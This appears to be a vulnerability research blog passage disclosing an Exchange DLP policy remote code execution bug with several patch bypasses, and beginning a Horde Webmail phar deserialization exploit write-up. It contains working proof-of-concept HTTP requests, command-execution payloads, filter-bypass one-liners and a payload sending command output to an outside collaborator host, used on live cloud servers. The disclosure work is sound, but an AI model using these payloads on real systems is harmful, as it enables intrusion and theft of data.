We can see the call to DlpUtils.AddTenantDlpPolicy at [2] which is using the attacker influenced this.dlpPolicy instance. Although not shown, dlpPolicy is derived from the cmdlet parameter TemplateData inside the NewDlpPolicy class.

        [Parameter(Mandatory = false)]
        public byte[] TemplateData
        {
            get
            {
                return (byte[])base.Fields["TemplateData"];
            }
            set
            {
                base.Fields["TemplateData"] = value;
            }
        }

Investigating the DlpUtils.AddTenantDlpPolicy call reveals some interesting things:

namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    internal static class DlpUtils
    {

        // ...
        public static void AddTenantDlpPolicy(IConfigDataProvider dataSession, DlpPolicyMetaData dlpPolicy, ...)
        {
            //...
            if (skipTransportRules)
            {
                return;
            }
            IEnumerable<string> cmdlets = Utils.AddOrganizationScopeToCmdlets(dlpPolicy.PolicyCommands, organizationParameterValue);  // 3
            string domainController = null;
            ADSessionSettings sessionSettings = null;
            MessagingPoliciesSyncLogDataSession messagingPoliciesSyncLogDataSession = dataSession as MessagingPoliciesSyncLogDataSession;
            if (messagingPoliciesSyncLogDataSession != null)
            {
                domainController = messagingPoliciesSyncLogDataSession.LastUsedDc;
                sessionSettings = messagingPoliciesSyncLogDataSession.SessionSettings;
            }
            try
            {
                results = CmdletRunner.RunCmdlets(cmdlets, false);  // 4
            }
            //...
        }

At [3] the code extracts the attacker supplied PolicyCommands and stores them into an IEnumerable array of strings called cmdlets. Then at [4] the code calls CmdletRunner.RunCmdlets on cmdlets.

namespace Microsoft.Exchange.Management.Common
{
    internal class CmdletRunner
    {
        internal static IEnumerable<PSObject> RunCmdlets(IEnumerable<string> cmdlets, bool continueOnFailure = false)
        {
            PSLanguageMode languageMode = Runspace.DefaultRunspace.SessionStateProxy.LanguageMode;
            if (languageMode != PSLanguageMode.FullLanguage)
            {
                Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
            }
            List<PSObject> list = new List<PSObject>();
            StringBuilder stringBuilder = new StringBuilder();
            try
            {
                foreach (string text in cmdlets)
                {
                    using (Pipeline pipeline = Runspace.DefaultRunspace.CreateNestedPipeline())
                    {
                        pipeline.Commands.AddScript(text);  // 5
                        IEnumerable<PSObject> collection = pipeline.Invoke();  // 6
                        list.AddRange(collection);
                        IEnumerable<object> enumerable = pipeline.Error.ReadToEnd();
                        if (enumerable.Any<object>())
                        {
                            stringBuilder.AppendLine(text);
                            foreach (object obj in enumerable)
                            {
                                stringBuilder.AppendLine(obj.ToString());
                            }
                            if (!continueOnFailure)
                            {
                                throw new CmdletExecutionException(stringBuilder.ToString());
                            }
                        }
                    }
                }
            }
            // ...
        }
    }
}

At [5] the command is added to the pipeline and finally at [6] the powershell command is executed.

Reaching the Bug

Before we try and exploit this bug, we need to make sure we have the appropriate permissions. We can set the permission in the Exchange Online PowerShell the equivalent being for on-premise installations is the Exchange Management Console (EMC).

Adding Harry Houdini to the dlp users group with the Data Loss Prevention Role

There are some groups that come default with Exchange Server that contain the “Data Loss Prevention” Role assigned by such as Organization Management and Server Management which could also be used. Typically though, in cases like these I’m suspicious of organizations handing out roles to users like santa giving out presents to bad little children.

Once we have the correct permissions we can exploit the bug in two different ways - the first being the ps-remoting interface (/powershell) and the second being the ecp interface (/ecp). The ecp interface is interesting because it proxies the attack nicely over https meaning it can integrate nicely into Metasploit (thanks Will!).

Exploitation via ECP

Inside of the Microsoft.Exchange.Management.ControlPanel.dll library, we can find the following entry:

// Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV
private void ExecuteUpload()
{
    try
    {
        if (base.Request.Files.Count == 0 || string.IsNullOrEmpty(base.Request.Files[0].FileName))
        {
            ErrorHandlingUtil.ShowServerError(Strings.ISVNoFileUploaded, string.Empty, this.Page);
        }
        else
        {
            DLPISVService dlpisvservice = new DLPISVService();
            HttpPostedFile httpPostedFile = base.Request.Files[0];                                                      // 1
            byte[] array = new byte[httpPostedFile.ContentLength];
            httpPostedFile.InputStream.Read(array, 0, array.Length);                                                    // 2
            PowerShellResults powerShellResults = dlpisvservice.ProcessUpload(new DLPNewPolicyUploadParameters
            {
                Mode = this.policyMode.SelectedValue,
                State = RuleState.Enabled.ToString(),
                Name = this.name.Text,
                Description = this.description.Text,
                TemplateData = array                                                                                    // 3
            });
            if (powerShellResults.Failed)
            {
                ErrorHandlingUtil.ShowServerErrors(powerShellResults.ErrorRecords, this.Page);
            }
            else
            {
                this.Page.RegisterStartupScript("windowclose", string.Format("<script>{0}</script>", "window.opener.RefreshPolicyListView();window.close();"));
            }
        }
    }
    catch (Exception ex)
    {
        ErrorHandlingUtil.ShowServerError(ex.Message, string.Empty, this.Page);
    }
}

At [1] the code sets the httpPostedFile variable from the attackers request. Then at [2] the input stream is read into an array which is later feed to ProcessUpload via TemplateData at [3].

    public class DLPISVService : DataSourceService
    {
        public PowerShellResults ProcessUpload(DLPPolicyUploadParameters parameters)
        {
            parameters.FaultIfNull();
            if (parameters is DLPNewPolicyUploadParameters)
            {
                return base.Invoke(new PSCommand().AddCommand("New-DLPPolicy"), Identity.FromExecutingUserId(), parameters);                 // 4
            }
            return null;
        }
    }
}

At [4] the code calls the New-DLPPolicy powershell command with the attacker supplied template data. The following proof of concept triggers this bug over the /ecp web interface:

POST /ecp/DLPPolicy/ManagePolicyFromISV.aspx HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=---------------------------129510176238983759443570320270
Content-Length: 1728
Cookie: <cookies>

-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="__VIEWSTATE"

<viewstate>
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"

ResultPanePlaceHolder_ButtonsPanel_btnNext
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="poc.xml"

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>360VulcanTeam</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c mspaint";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>
-----------------------------129510176238983759443570320270
Content-Disposition: form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"

360VulcanTeam
-----------------------------129510176238983759443570320270--

Exploitation via Powershell

The actual poc after connecting to the server via ps-remoting was as simple as running:

`New-DlpPolicy -Name "360VulcanTeam" -TemplateData ([Byte[]](Get-Content -Encoding Byte -Path "C:\path\to\some\poc.xml" -ReadCount 0))`

…and the corresponding poc.xml payload I used execute a system command:

<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>360VulcanTeam</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c mspaint";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>

Attacking Testing Microsoft Servers

When testing, I targeted the outlook.office365.com and outlook.office.com servers and I had to change the payload a bit to access the stdout of the executed process and ship it off to my burp collaborator server:

Gaining remote code execution as SYSTEM on Microsoft's cloud

$i=New-object System.Diagnostics.ProcessStartInfo;
$i.RedirectStandardOutput=$true;
$i.CreateNoWindow=$false;
$i.UseShellExecute=$false;
$i.FileName="cmd";
$i.Arguments="/c whoami";
$r=New-Object System.Diagnostics.Process;
$r.StartInfo=$i;
$r.Start();
$stdout=$r.StandardOutput.ReadToEnd();
$r.WaitForExit();
$wc=New-Object system.Net.WebClient;
$wc.downloadString("http://qpjx5jhw5iepwty74syonufe85ev2k.burpcollaborator.net/$stdout");

Why was that working!??

To my surprise that actually worked, meaning I could execute commands as SYSTEM on Microsoft’s cloud and exfiltrate sensitive data over http without being caught. The glory of using your own zero-day found in Microsoft’s own code to attack their cloud servers is quite satisfying! Here is some fun output:

C:\WINDOWS\system32>hostname
SA0PR18MB3472

C:\WINDOWS\system32>whoami
nt authority/system

C:\WINDOWS\system32>ipconfig

Windows IP Configuration


Ethernet adapter MAPI:

   Connection-specific DNS Suffix  . : namprd18.prod.outlook.com
   IPv6 Address. . . . . . . . . . . : 2603:10b6:806:9c::14
   Link-local IPv6 Address . . . . . : fe80::5cb7:b22d:4b7e:cf08%4
   IPv4 Address. . . . . . . . . . . : 20.181.63.14
   Subnet Mask . . . . . . . . . . . : 255.255.255.192
   Default Gateway . . . . . . . . . : 2603:10b6:806:9c::4
                                       20.181.63.4

Tunnel adapter Local Area Connection* 1:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::48e1:93d:5474:330d%9
   IPv4 Address. . . . . . . . . . . : 169.254.10.45
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 

Ethernet adapter vEthernet (nat):

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::5c31:25e9:ba27:e6bc
   IPv4 Address. . . . . . . . . . . : 172.22.160.1
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . : 0.0.0.0
   
C:\WINDOWS\system32>net user

User accounts for //

-------------------------------------------------------------------------------
BandwidthBrokerUser      CLIUSR                   DefaultAccount           
ExoAdmin                 Guest                    hadoop                   
SyncOsImage              WDAGUtilityAccount       

The Patch

Microsoft patched the bug in the DlpPolicyTemplateMetaData.ValidateCmdletParameters function which is reachable from the NewDlpPolicy.InternalValidate function:

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicy
protected override void InternalValidate()
{
    this.DataObject = (ADComplianceProgram)this.PrepareDataObject();
    if (this.Name != null)
    {
        this.DataObject.SetId(base.DataSession as IConfigurationSession, this.Name);
    }
    this.SetupImpl();
    this.impl.Validate();  // party poopers?
}

Below is the corresponding stack trace that prevents the attack

> Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData.ValidateCmdletParameters
  mscorlib.dll!System.Collections.Generic.List<string>.ForEach
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData.Validate
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyParser.ParseDlpPolicyTemplate
  System.Core.dll!System.Linq.Enumerable.WhereSelectEnumerableIterator<System.Xml.Linq.XElement, Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>.MoveNext
  mscorlib.dll!System.Collections.Generic.List<Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>.List
  System.Core.dll!System.Linq.Enumerable.ToList<Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData>
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyParser.ParseDlpPolicyTemplates
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpUtils.LoadDlpPolicyTemplates
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicyImpl.LoadDlpPolicyFromCustomTemplateData
  Microsoft.Exchange.Management.dll!Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicyImpl.Validate

The ValidateCmdletParameters function blocks two things - the first is the ability to execute inline commands (multiple commands). The patch tokenizes the command string using the PSParser class and looks for instances where commands have subcommands and if that turns out to be the case, the code throws an exception.

The second check is the validation that the supplied command starts with the string New-TransportRule and contains -DlpPolicy

The patch pretending to block my attack

Patch Bypass 1

If you look at the patch closely and have a decent understanding of powershell… (go on, take another look, I’ll wait)

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData
internal static void ValidateCmdletParameters(string cmdlet, IEnumerable<KeyValuePair<string, string>> requiredParameters)
{
    if (string.IsNullOrWhiteSpace(cmdlet))
    {
        return;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet, out collection2);
    if (collection2 != null && collection2.Count > 0) // ok lets just not have an errors in our command
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
    if (collection != null)
    {
        if ((from token in collection
        where token.Type == PSTokenType.Command
        select token).ToList<PSToken>().Count > 1) // just blocks multiple command tokens? what about not statement separators, comments, etc?
        {
            throw new DlpPolicyParsingException(Strings.DlpPolicyMultipleCommandsNotSupported(cmdlet));
        }
    }
    bool flag = false;
    foreach (KeyValuePair<string, string> keyValuePair in requiredParameters)
    {
        if (cmdlet.StartsWith(keyValuePair.Key, StringComparison.InvariantCultureIgnoreCase)) // very weak, we can use statement seperators to bypass this
        {
            if (!Regex.IsMatch(cmdlet, keyValuePair.Value, RegexOptions.IgnoreCase))  // we can use comment tokens to slip past this
            {
                throw new DlpPolicyParsingException(Strings.DlpPolicyMissingRequiredParameter(cmdlet, keyValuePair.Value));
            }
            flag = true;
        }
    }
    if (!flag)
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
}

…then you will realize that you can execute inline code in the powershell console. So an attacker could have still called static methods from fixed types or (ab)use statement seperators ; to bypass the patch. The other thing to note is that the patch didn’t block inline comments meaning attackers could comment out the -DlpPolicy regex check. Such examples are:

neW-tRaNsPoRtRuLe $([Diagnostics.Process]::Start("cmd", "/c mspaint")) #-dLpPoLiCy

or

neW-tRaNsPoRtRuLe 360Vulcan; [Diagnostics.Process]::Start("cmd", "/c mspaint") #-dLpPoLiCy

Well done to Yasar, Leonard and Markus Vervier for discovering that particular patch bypass which they also blogged about! The other bypass I found was that it was possible to use powershell call operators using the & symbol to call powershell cmdlets. By default you can’t call cmdlets that require an argument but since we have the statement seperator we could just append the arguments to the variable call as needed!

neW-tRaNsPoRtRuLe 360Vulcan; $poc='New-object'; $i = & $poc System.Diagnostics.ProcessStartInfo; $i.UseShellExecute = $true; $i.FileName="cmd"; $i.Arguments="/c mspaint"; $r = & $poc System.Diagnostics.Process; $r.StartInfo = $i; $r.Start() #-dLpPoLiCy

Markus and I were working independently of each other and it was really interesting to see that we came up with completely different solutions for the patch bypass! Markus’s bypass works because the language mode3 for the runspace of the CmdletRunner class was set to FullLanguage.

Microsoft patched this patch bypass as CVE-2020-171324 but unfortunately the story doesn’t end there. After reviewing the patch for CVE-2020-17132, Markus and I soon realized we could bypass it again! I tried warning Microsoft multiple times that they have to be careful with this patch because there was already two different bypasses and that the patch needs to at least defend against both. Let’s review the new patch:

Patch Bypass 2

We start out again in DlpPolicyTemplateMetaData.ValidateCmdletParameters after looping through the cmdlet list:

// Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.DlpPolicyTemplateMetaData
internal static void ValidateCmdletParameters(string cmdlet)
{
    if (!new CmdletValidator(DlpPolicyTemplateMetaData.AllowedCommands, DlpPolicyTemplateMetaData.RequiredParams, DlpPolicyTemplateMetaData.NotAllowedParams).ValidateCmdlet(cmdlet)) 
    {
        throw new DlpPolicyParsingException(Strings.DlpPolicyNotSupportedCmdlet(cmdlet));
    }
}

private static readonly HashSet<string> AllowedCommands = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
    "New-TransportRule"
};

private static readonly Dictionary<string, HashSet<string>> NotAllowedParams = new Dictionary<string, HashSet<string>>(StringComparer.OrdinalIgnoreCase)
{
    {
        "New-TransportRule",
        new HashSet<string>(StringComparer.OrdinalIgnoreCase)
        {
            "-Organization"
        }
    }
};

private static readonly Dictionary<string, HashSet<string>> RequiredParams = new Dictionary<string, HashSet<string>>(StringComparer.OrdinalIgnoreCase)
{
    {
        "New-TransportRule",
        new HashSet<string>(StringComparer.OrdinalIgnoreCase)
        {
            "-DlpPolicy"
        }
    }
};

Inside of the ValidateCmdletParameters function we can see a call to CmdletValidator.ValidateCmdlet:

// Microsoft.Exchange.Management.Common.CmdletValidator
public CmdletValidator(HashSet<string> allowedCommands, Dictionary<string, HashSet<string>> requiredParameters = null, Dictionary<string, HashSet<string>> notAllowedParameters = null)
{
    this.AllowedCommands = allowedCommands;
    this.RequiredParameters = requiredParameters;
    this.NotAllowedParameters = notAllowedParameters;
}
        
public bool ValidateCmdlet(string cmdlet)
{
    if (string.IsNullOrWhiteSpace(cmdlet))  // 1
    {
        return false;
    }
    Collection<PSParseError> collection2;
    Collection<PSToken> collection = PSParser.Tokenize(cmdlet, out collection2);
    if ((collection2 != null && collection2.Count > 0) || collection == null)  // 2
    {
        return false;
    }
    List<PSToken> list = (from token in collection
    where token.Type == PSTokenType.Command  // 3
    select token).ToList<PSToken>();
    if (list.Count != 1)
    {
        return false;
    }
    string content = list.First<PSToken>().Content;
    if (!this.AllowedCommands.Contains(content)) // 4
    {
        return false;
    }
    HashSet<string> hashSet = new HashSet<string>(from token in collection
    where token.Type == PSTokenType.CommandParameter
    select token into pstoken
    select pstoken.Content, StringComparer.OrdinalIgnoreCase);
    if (this.NotAllowedParameters != null && this.NotAllowedParameters.ContainsKey(content))
    {
        HashSet<string> hashSet2 = this.NotAllowedParameters[content];
        foreach (string item in hashSet)
        {
            if (hashSet2.Contains(item)) // 5
            {
                return false;
            }
        }
    }
    if (this.RequiredParameters != null && this.RequiredParameters.ContainsKey(content))
    {
        foreach (string item2 in this.RequiredParameters[content])
        {
            if (!hashSet.Contains(item2)) // 6
            {
                return false;
            }
        }
    }
    return true;
}

The function performs several checks (well 6 to be exact) and if any of them are true, then the attack will fail:

  1. The command is null
  2. There are errors in the command when parsing it
  3. There are more than 1 command
  4. The provided command isn’t “New-TransportRule”
  5. The provided command parameter is “-Organization”
  6. The provided command parameter is not “-DlpPolicy”

Also, Microsoft changed the language mode of the runspace for the CmdletRunner class to RestrictedLanguage:

// Microsoft.Exchange.Management.Common.CmdletRunner
internal static IEnumerable<PSObject> RunCmdlets(IEnumerable<string> cmdlets, bool continueOnFailure = false)
{
    PSLanguageMode languageMode = Runspace.DefaultRunspace.SessionStateProxy.LanguageMode;
    if (languageMode != PSLanguageMode.RestrictedLanguage)
    {
        Runspace.DefaultRunspace.SessionStateProxy.LanguageMode = PSLanguageMode.RestrictedLanguage;
    }

Amazingly, with all these checks and a RestrictedLanguage mode runspace, we can still bypass the function using good ol’ fashion call operators!

Escaping RestrictedLanguage mode in Powershell

& 'Invoke-Expression' '[Diagnostics.Process]::Start("cmd","/c mspaint")'; New-TransportRule -DlpPolicy

And when we parse that command above, we satisfy all 6 criteria of the validation function! As seen below, with the PSTokenType followed by it’s literal value. Note that the call operator is of type Operator and it can call String types:

Operator :: &
String :: Invoke-Expression
String :: [Diagnostics.Process]::Start("cmd","/c mspaint")
StatementSeparator :: ;
Command :: New-TransportRule
CommandParameter :: -DlpPolicy

Microsoft rewarded me handsomely for the original report under their Office 365 Cloud Bounty program for pulling that attack off along with the several bypasses. I reported this patch bypass on the 9th of December, 2020 just one day after patch tuesday and unfortunately at this time there is no mitigation against this attack for on-premise deployments of Exchange Server.

I have given Microsoft over 6 months to get the patch correct, 90 days for the first bug (standard), 60 days for the first patch bypass and 30 days for the second patch bypass. Each patch bypass loses 30 days and I don’t change the rules for any vendor, sorry.

A big thanks to Jarek and Sylvie for looking after me! As always, you can review the original advisory and download the original pocs from here and here

Conclusion

We really need to be asking ourselves: Is relying on a cloud providers with a single point of failure the right approach?

When we are looking at new technologies or focusing on new areas, it’s always wise to re-evaluate the threat landscape. Attackers may infact have more access than you initially thought and this can greatly expand the attack surface of a given technology. Microsoft rated this bug as critical because it also impacted multiple SaaS5 providers as well as on-premise installations and I agree with that assessment.

To the security researchers out there: Not all code execution bugs in .net are deserialization related. It’s easy to fall into the tunnel vision trap so it’s important to remember not to “follow the crowd”.

Is post-authenticated remote code execution dangerous?

References

A SmorgasHORDE of Vulnerabilities :: A Comparative Analysis of Discovery

19 August 2020 at 14:00

Horde Groupware Webmail

Some time ago I performed an audit of the Horde Groupware Webmail suite of applications and found an interesting code pattern that facilitated the attack of 34+ remote code execution vulnerabilities. Additionally, Andrea Cardaci’s performed an audit around the same time and we seemed to miss each others bugs due to a difference in auditing styles.

TL;DR; In this post, I share the technical details of one Andrea’s bugs that I missed and how I missed it. Then I dive into full exploitation of a vulnerability that I found that required several primitives to achieve remote code execution. Hopefully this blog post will demonstrate how obtaining the context of the application’s code can provide powerful primitives to defeat developer assumptions.

Authentication

Typically speaking, remote code execution vulnerabilities that require authentication don’t have a very high impact since an attacker requires sensitive information before gaining access. However, in webmail based applications things are a little different.

These types of applications are often remotely exposed and highly used. Attackers can still (ab)use techniques such as credential stuffing, account bruteforce, phishing or credential re-use. Once access is gained, the impact is often high, leading to outcomes like leaked email spools.

For example the Microsoft Exchange Validation Key Remote Code Execution Vulnerability (CVE-2020-0688) was exploited in the wild and required a domain account before proceeding. Another example was a file disclosure vulnerability affecting Roundcube Webmail (CVE-2017-16651) that was exploited in November 2017 requiring valid credentials.

Therefore a low privileged authenticated user that can execute remote code against a webmail based application is still a critical issue.

Backgound

Andrea discovered a local file inclusion (CVE-2020-8865) and an arbitrary file upload restricted to the /tmp directory (CVE-2020-8866). In the same blog post, he mentions two different code paths to the same phar deserialization vulnerability which has no CVE assigned and was left unpatched. Andrea and I discussed this and we came to the conclusion that the developers choose not to patch the phar deserialization issue due the patch for CVE-2020-8866 that prevents planting phar archives. Additionally, I later found out that the Horde_Http_Request_Fopen class is not used by default, which i’m positive is the reason why the issue was never patched.

To quote Andrea from his blog post:

To use the other approach instead, just bookmark phar:///tmp/exploit.phar then click on it after the upload phase.

What is evident is that his approach to discovering the phar deserialization issues was through black-box auditing which can help reveal context that’s mapped to the UI. Whilst white-box auditing is important for discovering a large varient base, it’s evident that a black-box approach can still find critical issues where varients can be modelled from.

Horde Groupware Webmail Trean_Queue_Task_Crawl url Deserialization of Unstrusted Data Remote Code Execution Vulnerability

Summary

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Horde Groupware Webmail Edition. Low privileged authentication is required to exploit this vulnerability.

The specific flaw exists within the Trean_Queue_Task_Crawl class. When parsing the url parameter the process does not properly validate the user-supplied value prior to using it in file operations that result in deserialization of untrusted data. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the www-data user.

Attack Flow

This flow can be triggered after a user has logged in and planted a phar archive using CVE-2020-8866:

Stage 1 - Add a bookmark with the url parameter mapping to your malicious phar archive.

POST /horde/trean/add.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Cookie: Horde=<sessionid>

actionID=add_bookmark&url=phar:///tmp/poc.xyz

Stage 2 - Leak the b parameter. This is required to trigger stage 3.

GET /horde/trean/ HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

response…

...
        <a href="/horde/trean/redirect.php?b=28" target="_blank">phar:///tmp/poc.xyz</a>

Stage 3 - Trigger phar deserialization.

GET /horde/trean/redirect.php?b=28 HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

Vulnerability Analysis

As noted, an attacker can reach the trigger path from the trean/redirect.php script:

require_once __DIR__ . '/lib/Application.php';
Horde_Registry::appInit('trean');

$bookmark_id = Horde_Util::getFormData('b');
if (!$bookmark_id) {
    exit;
}

try {
    $bookmark = $trean_gateway->getBookmark($bookmark_id);
    ++$bookmark->clicks;
    $bookmark->save();                                              // 1
    header('Location: ' . Horde::externalUrl($bookmark->url));
} catch (Exception $e) {
}

The save method is implemented in the trean/lib/Bookmark.php script:

class Trean_Bookmark
{

    //...

    public function save($crawl = true)                             // 2
    {
        if (!strlen($this->url)) {
            throw new Trean_Exception('Incomplete bookmark');
        }

        $charset = $GLOBALS['trean_db']->getOption('charset');
        $c_url = Horde_String::convertCharset($this->url, 'UTF-8', $charset);
        $c_title = Horde_String::convertCharset($this->title, 'UTF-8', $charset);
        $c_description = Horde_String::convertCharset($this->description, 'UTF-8', $charset);
        $c_favicon_url = Horde_String::convertCharset($this->favicon_url, 'UTF-8', $charset);

        if ($this->id) {
            // Update an existing bookmark.
            $GLOBALS['trean_db']->update('
                UPDATE trean_bookmarks
                SET user_id = ?,
                    bookmark_url = ?,
                    bookmark_title = ?,
                    bookmark_description = ?,
                    bookmark_clicks = ?,
                    bookmark_http_status = ?,
                    favicon_url = ?
                WHERE bookmark_id = ?',
                array(
                    $this->userId,
                    $c_url,
                    $c_title,
                    $c_description,
                    $this->clicks,
                    $this->http_status,
                    $c_favicon_url,
                    $this->id,
            ));

            $GLOBALS['injector']->getInstance('Trean_Tagger')->replaceTags((string)$this->id, $this->tags, $GLOBALS['registry']->getAuth(), 'bookmark');
        } else {
            // Saving a new bookmark.
            $bookmark_id = $GLOBALS['trean_db']->insert('
                INSERT INTO trean_bookmarks (
                    user_id,
                    bookmark_url,
                    bookmark_title,
                    bookmark_description,
                    bookmark_clicks,
                    bookmark_http_status,
                    favicon_url,
                    bookmark_dt
                ) VALUES (?, ?, ?, ?, ?, ?, ?, ?)',
                array(
                    $this->userId,
                    $c_url,
                    $c_title,
                    $c_description,
                    $this->clicks,
                    $this->http_status,
                    $c_favicon_url,
                    $this->dt,
            ));

            $this->id = (int)$bookmark_id;
            $GLOBALS['injector']->getInstance('Trean_Tagger')->tag((string)$this->id, $this->tags, $GLOBALS['registry']->getAuth(), 'bookmark');
        }

        if ($crawl) {                                                                   // 3
            try {
                $queue = $GLOBALS['injector']->getInstance('Horde_Queue_Storage');
                $queue->add(new Trean_Queue_Task_Crawl(                                 // 4
                    $this->url,                                                         // 5
                    $this->title,
                    $this->description,
                    $this->id,
                    $this->userId
                ));
            } catch (Exception $e) {
                Horde::log($e, 'INFO');
            }
        }

The attacker supplied url is parsed as the first argument to the constructor of the Trean_Queue_Task_Crawl class (defined in the trean/lib/Queue/Task/Crawl.php script) and the created instance is added to a queue. Classes that are added to a queue have their run method triggered:

class Trean_Queue_Task_Crawl implements Horde_Queue_Task
{

    //...

    public function __construct($url, $userTitle, $userDesc, $bookmarkId, $userId)
    {
        $this->_url = $url;
        $this->_userTitle = $userTitle;
        $this->_userDesc = $userDesc;
        $this->_bookmarkId = $bookmarkId;
        $this->_userId = $userId;
    }

    /**
     */
    public function run()
    {
        $injector = $GLOBALS['injector'];

        // Get Horde_Http_Client
        $client = $injector->getInstance('Horde_Http_Client');

        // Fetch full text of $url
        try {
            $page = $client->get($this->_url);                                          // 6

At [6] the code calls the get method from a Horde_Http_Client instance. This class is defined in /usr/share/php/Horde/Http/Client.php script:

class Horde_Http_Client
{

    //...

    public function get($uri = null, $headers = array())
    {
        return $this->request('GET', $uri, null, $headers);
    }

    //...

    public function request(
        $method, $uri = null, $data = null, $headers = array()
    )
    {
        if ($method !== null) {
            $this->request->method = $method;
        }
        if ($uri !== null) {
            $this->request->uri = $uri;
        }
        if ($data !== null) {
            $this->request->data = $data;
        }
        if (count($headers)) {
            $this->request->setHeaders($headers);
        }

        $this->_lastRequest = $this->_request;
        $this->_lastResponse = $this->_request->send();                                 // 7

        return $this->_lastResponse;
    }

Several classes that extend the Horde_Http_Request_Base class implement the send method that is triggered at [7]:

researcher@target:/var/www/horde$ grep -sir "function send(" /usr/share/php/Horde/Http/Request/
/usr/share/php/Horde/Http/Request/Mock.php:    public function send()
/usr/share/php/Horde/Http/Request/Curl.php:    public function send()
/usr/share/php/Horde/Http/Request/Base.php:    abstract public function send();
/usr/share/php/Horde/Http/Request/Peclhttp.php:    public function send()
/usr/share/php/Horde/Http/Request/Fopen.php:    public function send()
/usr/share/php/Horde/Http/Request/Peclhttp2.php:    public function send()

We can determine which implementation is used statically by investigating the Horde_Http_Request_Factory class defined in the /usr/share/php/Horde/Http/Request/Factory.php file:

    public function create()
    {
        if (class_exists('HttpRequest', false)) {
            return new Horde_Http_Request_Peclhttp();                    // 1
        } elseif (class_exists('\http\Client', false)) {
            return new Horde_Http_Request_Peclhttp2();                   // 2
        } elseif (extension_loaded('curl')) {
            return new Horde_Http_Request_Curl();                        // 3
        } elseif (ini_get('allow_url_fopen')) {
            return new Horde_Http_Request_Fopen();                       // 4
        } else {
            // ...
        }
    }

By default, [1] and [2] are not installed. When installing from the pear server (the default installation), [3] is installed. We can verify this by adding a die(var_dump($this->_request)) to the request method, dumping the instance object at runtime:

object(Horde_Http_Request_Curl)#210 (3) {
  ["_httpAuthSchemes":protected]=>
  array(5) {
    ["ANY"]=>
    int(-17)
    ["BASIC"]=>
    int(1)
    ["DIGEST"]=>
    int(2)
    ["GSSNEGOTIATE"]=>
    int(4)
    ["NTLM"]=>
    int(8)
  }
  ["_headers":protected]=>
  array(0) {
